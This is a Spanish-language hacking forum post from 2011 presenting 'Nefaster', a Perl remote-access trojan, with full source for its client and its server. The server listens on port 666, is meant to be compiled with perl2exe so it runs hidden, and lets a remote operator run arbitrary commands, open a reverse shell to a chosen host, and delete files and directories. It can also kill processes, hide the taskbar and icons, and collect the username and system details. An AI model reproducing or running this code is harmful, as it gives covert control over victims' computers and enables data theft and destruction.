elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Troyano Nefaster
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Troyano Nefaster  (Leído 2,298 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Troyano Nefaster
« en: 9 Octubre 2011, 17:47 pm »

Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion
  • Navegador de archivos
  • Cambiar directorio de navegacion
  • Crear archivo
  • Borrar archivo
  • Borrar directorio
  • Reproducir musica o videos poniendo la ruta en la opcion
  • Parar reproduccion
  • Abrir lectora de CD
  • Cerrar lectora de CD
  • Puertos abiertos
  • Mensaje
  • Ejecutar comandos
  • Esconder barra de tareas
  • Devolver barra de tareas
  • Esconder iconos del escritorio
  • Devolver iconos del escritorio
  • Administrar procesos con posibilidad de cerrar el que quieran
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda


El codigo del cliente es este


Código
  1. #!usr/bin/perl
  2. #Nefester (Cliente) 0.1 By Doddy H
  3.  
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. &menu;
  9.  
  10. sub head {
  11.  
  12. system 'cls';
  13.  
  14.  
  15.  
  16.            E      F                   TT    E        
  17. NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR
  18. NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR
  19. NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R
  20. NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR  
  21. NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R  
  22. NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R
  23. NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
  24.                            SS                 R   R  
  25.  
  26.  
  27.  
  28. );
  29.  
  30. }
  31.  
  32. sub menu {
  33.  
  34. &head;
  35.  
  36. print "[Target] : ";
  37. chomp(my $ip = <STDIN>);
  38.  
  39.  
  40.  
  41. my $socket = new IO::Socket::INET(
  42. PeerAddr => $ip,
  43. PeerPort => 666,
  44. Proto => 'tcp',
  45. Timeout  => 5
  46. );
  47.  
  48. if ($socket) {
  49. $socket->close;
  50. &menuo($ip);
  51. } else {
  52. print "\n\n[-] Target no infectado\n";
  53. <STDIN>;
  54. &menu;
  55. }
  56.  
  57. }
  58.  
  59. sub menuo {
  60.  
  61. &head;
  62.  
  63. print "[$_[0]] : Servidor Activado\n\n";
  64. 1 : Informacion
  65. 2 : Navegador
  66. 3 : Abrir CD
  67. 4 : Cerrar CD
  68. 5 : Puertos abiertos
  69. 6 : Mensaje
  70. 7 : CMD
  71. 8 : Esconder barra de tareas
  72. 9 : Devolver barra de tareas
  73. 10 : Esconder iconos
  74. 11 : Devolver iconos
  75. 12 : Administrar procesos
  76. 13 : Reverse Shell
  77. 14 : Cambiar IP
  78. 15 : Salir
  79.  
  80.  
  81. );
  82. print "[Opcion] : ";
  83. chomp(my $opcion = <STDIN>);
  84.  
  85.  
  86. if ($opcion eq 1) {
  87. print "\n\n[+] Informacion\n\n";
  88. $re = daryrecibir($_[0],"infor");
  89. if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
  90. print "[Dominio] : $1\n";
  91. print "[Chip] : $2\n";
  92. print "[Version] : $3\n";
  93. print "[Nombre] : $4\n";
  94. print "[OS] : $5\n";
  95. <stdin>;
  96. }
  97. &menuo($_[0]);
  98. }
  99. elsif ($opcion eq 2) {
  100.  
  101. menu1:
  102. print "\n\n[+] Navegacion de archivos\n\n";
  103. $cwd = daryrecibir($_[0],"getcwd"."\r\n");
  104. print "tengo $cwd\n";
  105. show($_[0],"/");
  106. &menu2;
  107.  
  108. sub menu2 {
  109. print "\n\n[Opciones]\n\n";
  110. print "1 - Cambiar directorio\n";
  111. print "2 - Crear archivo\n";
  112. print "3 - Borrar archivo\n";
  113. print "4 - Borrar directorio\n";
  114. print "5 - Reproducir musica\n";
  115. print "6 - Parar reproduccion\n";
  116. print "7 - Volver al menu inicial\n\n";
  117. print "[Opcion] : ";
  118. chomp(my $op = <stdin>);
  119.  
  120. if ($op eq 1) {
  121. print "\n\n[+] Directorio : ";
  122. chomp (my $dir=<stdin>);
  123. $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
  124. if ($ver=~/ok/ig) {
  125. print "\n\n[+] Directory changed\n\n";
  126. }
  127. show($_[0],$dir);
  128. &menu2;
  129. <stdin>;
  130. }
  131.  
  132. elsif ($op eq 2) {
  133.  
  134. print "\n\n[Nombre] : ";
  135. chomp(my $name = <stdin>);
  136. print "\n\n[Contenido] : ";
  137. chomp(my $code = <stdin>);
  138.  
  139. daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
  140.  
  141. print "\n\n[+] Archivo creado \n\n";
  142. <stdin>;
  143. }
  144. elsif ($op eq 3) {
  145. print "\n\n[Archivo a borrar] : ";
  146. chomp(my $file = <stdin>);
  147. $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
  148. if ($re=~/ok/) {
  149. print "\n\n[+] Archivo Borrado\n\n";
  150. } else {
  151. print "\n\n[-] Error\n\n";
  152. }
  153. <stdin>;
  154. }
  155.  
  156. elsif ($op eq 4) {
  157. print "\n\n[Directorio a borrar] : ";
  158. chomp(my $file = <stdin>);
  159. $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
  160. if ($re=~/ok/) {
  161. print "\n\n[+] Directorio Borrado\n\n";
  162. } else {
  163. print "\n\n[-] Error\n\n";
  164. }
  165. <stdin>;
  166. }
  167.  
  168. elsif ($op eq 5) {
  169. print "\n\n[Archivo] : ";
  170. chomp(my $file = <stdin>);
  171. print "\n\n[+] Reproduciendo\n\n";
  172. daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
  173. <stdin>;
  174. }
  175. elsif ($op eq 6) {
  176. print "\n\n[+] Reproduccion detenida\n\n";
  177. daryrecibir($_[0],"pararmusic");
  178. <stdin>;
  179. }
  180. elsif ($op eq 7) {
  181. &menuo($_[0]);
  182. }
  183. else {
  184. show($_[0],"/");
  185. }
  186. goto menu1;
  187. }
  188. }
  189.  
  190. elsif ($opcion eq 3) {
  191. daryrecibir($_[0],"opencd");
  192. &menuo($_[0]);
  193. }
  194.  
  195. elsif ($opcion eq 4) {
  196. daryrecibir($_[0],"closedcd");
  197. &menuo($_[0]);
  198. }
  199.  
  200. elsif ($opcion eq 5) {
  201. print "\n[Puertos Abiertos]\n\n";
  202. $re = daryrecibir($_[0],"porters");
  203. while ($re=~/:(.*?):/ig) {
  204. if ($1 ne "") {
  205. print "[+] $1\n";
  206. }
  207. }
  208. <stdin>;
  209. &menuo($_[0]);
  210. }
  211. elsif ($opcion eq 6) {
  212. print "\n[Mensaje] : ";
  213. chomp (my $msg = <stdin>);
  214. daryrecibir($_[0],"msgbox $msg");
  215. <stdin>;
  216. &menuo($_[0]);
  217. }
  218. elsif ($opcion eq 7) {
  219.  
  220. menu:
  221.  
  222. my $cmd,$re;
  223.  
  224. print "\n\n>";
  225.  
  226. chomp(my $cmd= <stdin>);
  227.  
  228. if ($cmd=~/exit/ig) {
  229. &menuo($_[0]);
  230. }
  231.  
  232. $re = daryrecibir($_[0],"comando :$cmd:");
  233. print "\n".$re;
  234. goto menu;
  235. &menuo($_[0]);
  236. }
  237. elsif ($opcion eq 8) {
  238. daryrecibir($_[0],"iniciochau");
  239. &menuo($_[0]);
  240. }
  241. elsif ($opcion eq 9) {
  242. daryrecibir($_[0],"iniciovuelve");
  243. &menuo($_[0]);
  244. }
  245. elsif ($opcion eq 10) {
  246. daryrecibir($_[0],"iconochau");
  247. &menuo($_[0]);
  248. }
  249. elsif ($opcion eq 11) {
  250. daryrecibir($_[0],"iconovuelve");
  251. &menuo($_[0]);
  252. }
  253.  
  254. elsif ($opcion eq 12) {
  255.  
  256. &reload($_[0]);
  257.  
  258. sub reload {
  259.  
  260. my @pro;
  261. my @pids;
  262.  
  263. my $sockex = new IO::Socket::INET(
  264. PeerAddr => $_[0],
  265. PeerPort => 666,
  266. Proto => 'tcp',
  267. Timeout  => 5
  268. );
  269.  
  270. print $sockex "mostrarpro"."\r\n";
  271. $sockex->read($re,5000);
  272. $sockex->close;
  273.  
  274. chomp $re;
  275.  
  276. print "\n\n[+] Procesos encontrados\n\n";
  277.  
  278. while ($re=~/PROXEC(.*?)PROXEC/ig) {
  279. if ($1 ne "") {
  280. push(@pro,$1);
  281. }
  282. }
  283.  
  284. while ($re=~/PIDX(.*?)PIDX/ig) {
  285. if ($1 ne "") {
  286. push(@pids,$1);
  287. }
  288. }
  289.  
  290. $cantidad = int(@pro);
  291.  
  292. for my $num(1..$cantidad) {
  293. if ($pro[$num] ne "") {
  294. print "\n[+] Proceso : ".$pro[$num]."\n";
  295. print "[+] PIDS : ".$pids[$num]."\n";
  296. }
  297. }
  298.  
  299.  
  300. [Opciones]
  301.  
  302.  
  303. 1 - Refrescar lista
  304. 2 - Cerrar procesos
  305. 3 - Volver al menu
  306.  
  307. );
  308.  
  309. print "\n[Opcion] :  ";
  310. chomp(my $opc = <stdin>);
  311.  
  312. if ($opc=~/1/ig) {
  313. &reload($_[0]);
  314. }
  315. elsif($opc=~/2/ig) {
  316. print "\n[+] Write the name of the process : ";
  317. chomp(my $numb = <stdin>);
  318. print "\n[+] Write the PID of the process : ";
  319. chomp(my $pid = <stdin>);
  320. $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
  321. if ($re=~/ok/ig) {
  322. print "\n\n[+] Proceso cerrado\n\n";
  323. } else {
  324. print "\n\n[-] Error\n\n";
  325. }
  326. <stdin>;
  327. &reload($_[0]);
  328. }
  329. elsif($opc=~/3/ig) {
  330. &menuo($_[0]);
  331. }
  332. else {
  333. &reload;
  334. }
  335. }
  336. }
  337.  
  338. elsif ($opcion eq 13) {
  339. print "\n\n[IP] : ";
  340. chomp(my $ip = <stdin>);
  341. print "\n\n[Port] : ";
  342. chomp(my $port = <stdin>);
  343. print "\n\n[+] Connected !!!\n\n";
  344. $re = daryrecibir($_[0],"backshell :$ip:$port:");
  345. }
  346. elsif ($opcion eq 14) {
  347. &menu;
  348. }
  349. elsif ($opcion eq 15) {
  350. exit 1;
  351. }
  352. else {
  353. &menuo;
  354. }
  355. }
  356.  
  357. sub daryrecibir {
  358.  
  359. my $sockex = new IO::Socket::INET(
  360. PeerAddr => $_[0],
  361. PeerPort => 666,
  362. Proto => 'tcp',
  363. Timeout  => 5
  364. );
  365.  
  366. print $sockex $_[1]."\r\n";
  367. $sockex->read($re,5000);
  368. $sockex->close;
  369. return $re."\r";
  370. }
  371.  
  372. sub show {
  373.  
  374. my $re = daryrecibir($_[0],"getcwd"."\r\n");
  375. print "\n\n[+] Directorio Actual : $re\n\n";
  376. $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
  377. print "\n\n[Directorios]\n\n";
  378.  
  379. while ($re1=~/DIREX(.*?)DIREX/ig) {
  380. if ($1 ne "") {
  381. print "[+] $1\n";
  382. }
  383. }
  384.  
  385. print "\n\n[Archivos]\n\n";
  386.  
  387. while ($re1=~/FILEX(.*?)FILEX/ig) {
  388. if ($1 ne "") {
  389. print "[+] $1\n";
  390. }
  391. }
  392.  
  393. }
  394.  
  395. #
  396. # ¿ The End ?
  397. #
  398.  

Y el server

Código
  1. #!/usr/bin/perl
  2. #Nefester (sERVidor) 0.1 By Doddy H
  3. #Compilar con perl2exe para sacar consola
  4.  
  5. use IO::Socket;
  6. use Socket;
  7. use Win32;
  8. use Cwd;
  9. use Win32::MediaPlayer;
  10. use Win32::Process::List;
  11. use Win32::Process;
  12. use Win32::API;
  13.  
  14. use constant SW_HIDE => 0;
  15. use constant SW_SHOWNORMAL => 1;
  16.  
  17. my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
  18. my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
  19.  
  20. $test = new Win32::MediaPlayer;
  21.  
  22. my $sock = IO::Socket::INET->new(LocalPort => 666,
  23. Listen => 10,
  24. Proto => 'tcp',
  25. Reuse => 1);
  26.  
  27. print "online\n";
  28.  
  29. while (my $con = $sock->accept){
  30. $resultado = <$con>;
  31. print "boludo mando : $resultado\n";
  32.  
  33. if ($resultado=~/msgbox (.*)/ig) {
  34. Win32::MsgBox($1,0,"Mensaje de Dios")
  35. }
  36.  
  37. if ($resultado=~/backshell :(.*):(.*):/ig) {
  38.  
  39. my ($ip,$port) = ($1,$2);
  40.  
  41. print "conectando $ip con $port\n";
  42.  
  43. $ip =~s/(\s)+$//;
  44. $port =~s/(\s)+$//;
  45.  
  46. conectar($ip,$port);
  47. tipo();
  48.  
  49. sub conectar {
  50. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  51. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  52. open (STDIN,">&REVERSE");
  53. open (STDOUT,">&REVERSE");
  54. open (STDERR,">&REVERSE");
  55. }
  56.  
  57. sub tipo {
  58. print "\n[*] Reverse Shell Starting...\n\n";
  59. if ($^O =~/Win32/ig) {
  60. infowin();
  61. system("cmd.exe");
  62. } else {
  63. infolinux();
  64. #root();  
  65. system("export TERM=xterm;exec sh -i");
  66. }
  67. }
  68.  
  69. sub infowin {
  70. print "[+] Domain Name : ".Win32::DomainName()."\n";
  71. print "[+] OS Version : ".Win32::GetOSName()."\n";
  72. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  73. }
  74.  
  75. sub infolinux {
  76. print "[+] System information\n\n";
  77. system("uname -a");
  78. print "\n\n";
  79. }
  80.  
  81.  
  82. }
  83.  
  84. if ($resultado =~/opencd/ig) {
  85.  
  86. use Win32::API;
  87.  
  88. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  89. my $rta = ' ' x 127;  
  90. $ventana->Call('set CDAudio door open', $rta, 127, 0);
  91. print $con "ok"."\r\n";
  92. }
  93.  
  94. if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
  95.  
  96. my ($pid,$numb) = ($1,$2);
  97.  
  98. $pid=~s/(\s)+$//;
  99. $numb=~s/(\s)+$//;
  100.  
  101. if (Win32::Process::KillProcess($pid,$numb)) {
  102. print $con "ok\r\n";
  103. }
  104. }
  105.  
  106. if ($resultado =~/closedcd/ig) {
  107.  
  108. use Win32::API;
  109.  
  110. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  111. my $rta = ' ' x 127;  
  112. $ventana->Call('set CDAudio door closed', $rta, 127, 0);
  113. print $con "ok"."\r\n";
  114. }
  115.  
  116. if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
  117.  
  118. my $filex = $1;
  119.  
  120. $filex =~s/(\s)+$//;
  121.  
  122. print getcwd()."/".$filex."\n\n";
  123.  
  124. if (unlink(getcwd()."/".$filex)) {
  125. print $con "ok\r\n";
  126. }
  127.  
  128. }
  129.  
  130.  
  131.  
  132. if ($resultado=~/infor/ig) {
  133. print "mando";
  134. use Win32;
  135.  
  136.  
  137. my $domain = Win32::DomainName();
  138. my $chip = Win32::GetChipName();
  139. my $version = Win32::GetOSVersion();
  140. my $nombre = Win32::LoginName();
  141. my  $os = Win32::GetOSName();
  142.  
  143. print $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
  144. }
  145.  
  146.  
  147. if ($resultado=~/porters/ig) {
  148.  
  149. use Net::Netstat::Wrapper;
  150.  
  151. $por = "";
  152. @ports = Net::Netstat::Wrapper->only_port();
  153. for(@ports) {
  154. $por = $por.":".$_;
  155. }
  156. print $con $por."\r\n";
  157. }
  158.  
  159.  
  160. if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
  161.  
  162. my $cancion = $1;
  163.  
  164. $cancion =~s/(\s)+$//;
  165.  
  166. $test->load($cancion);
  167. $test->play;
  168.  
  169. }
  170.  
  171. if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
  172.  
  173. my $dir = $1;
  174. $dir =~s/(\s)+$//;
  175.  
  176.  
  177. if (chdir($dir)) {
  178. print $con "ok\r\n";
  179. }
  180.  
  181. }
  182.  
  183. if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
  184.  
  185. my $veox = $1;
  186. $veox =~s/(\s)+$//;
  187.  
  188. if (rmdir(getcwd()."/".$veox)) {
  189. print $con "ok\r\n";
  190. }
  191. }
  192.  
  193.  
  194.  
  195. if ($resultado=~/pararmusic/ig) {
  196. $test->close;
  197. }
  198.  
  199.  
  200.  
  201. if ($resultado=~/dirnow ACATOY(.*)/ig) {
  202.  
  203. my $real = $1;
  204. chomp $real;
  205.  
  206. $real =~s/(\s)+$//;
  207.  
  208. print "real $real\n\n";
  209.  
  210. my @archivos = coleccionar($real);
  211.  
  212. for (@archivos) {
  213. print $_."\n";
  214. my $todo = $real."/".$_;
  215.  
  216. print $todo."\n";
  217.  
  218. if (-f $todo) {
  219. print $con "FILEX".$_."FILEX"."\r\n";
  220. print "File : ".$_."\n";
  221. }
  222.  
  223. if (-d $todo) {
  224. print $con "DIREX".$_."DIREX"."\r\n";
  225. print "Dir : ".$_."\n";
  226. }
  227.  
  228. }
  229. }
  230.  
  231. sub coleccionar {
  232. opendir DIR,$_[0];
  233. my @archivos = readdir DIR;
  234. close DIR;
  235. return @archivos;
  236. }
  237.  
  238. if ($resultado=~/getcwd/ig) {
  239. print "envie ".getcwd()."\n\n";
  240. print $con getcwd()."\r\n";
  241. }
  242.  
  243.  
  244. if ($resultado=~/mostrarpro/ig) {
  245.  
  246.  
  247. my $new = Win32::Process::List->new();  
  248. my %process = $new->GetProcesses();
  249. for my $pid (keys %process) {
  250. print $con "PROXEC".$process{$pid}."PROXEC\r\n";
  251. print $con "PIDX".$pid."PIDX\r\n";
  252.  
  253. }
  254.  
  255.  
  256. }
  257.  
  258. if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
  259. my $name = $1;
  260. my $file = $2;
  261.  
  262. chomp $name;
  263. chomp $file;
  264.  
  265. $name =~s/(\s)+$//;
  266. $file =~s/(\s)+$//;
  267.  
  268. print "name is $name end\n";
  269. print "file is $file end\n";
  270.  
  271. open FILE,">>".$name;
  272. print FILE $file."\n";
  273. close FILE;
  274. }
  275.  
  276. if ($resultado=~/comando :(.*):/ig) {
  277. print "llego comando $1\n";
  278. print $resultado;
  279. my $temp = qx($1);
  280. print $con $temp."\r";
  281. }
  282.  
  283. if ($resultado=~/iniciochau/g) {
  284. inicio_chau("Shell_TrayWnd");
  285. }
  286. if ($resultado=~/iniciovuelve/g) {
  287. inicio_vuelve("Shell_TrayWnd");
  288. } else {
  289. print $resultado;
  290. }
  291. if ($resultado=~/iconovuelve/g) {
  292. icono_vuelve("Program Manager");
  293. }
  294. if ($resultado=~/iconochau/g) {
  295. icono_chau("Program Manager");
  296. }
  297.  
  298.  
  299. sub icono_vuelve {
  300. $handle = $a->Call(0,$_[0]);
  301. $b->Call($handle,SW_SHOWNORMAL);
  302.  
  303. }
  304.  
  305. sub icono_chau {
  306.  
  307. $handle = $a->Call(0,$_[0]);
  308. $b->Call($handle,SW_HIDE);
  309.  
  310. }
  311.  
  312. sub inicio_vuelve {
  313. $handlex = $a->Call($_[0],0);
  314. $b->Call($handlex,SW_SHOWNORMAL);
  315.  
  316. }
  317.  
  318. sub inicio_chau {
  319.  
  320. $handlea = $a->Call($_[0],0);
  321. $b->Call($handlea,SW_HIDE);
  322.  
  323. }
  324.  
  325.  
  326. }
  327.  
  328.  
  329. # ¿ The End ?
  330.  
  331.  
  332.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
perl
Scripting
nobo 0 3,401 Último mensaje 22 Febrero 2005, 07:49 am
por nobo
Perl
Scripting
zhynar_X 2 2,463 Último mensaje 12 Enero 2008, 04:36 am
por GroK
-=PERL=-
Scripting
D4RIO 1 5,956 Último mensaje 25 Febrero 2008, 17:27 pm
por D4RIO
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 4,059 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines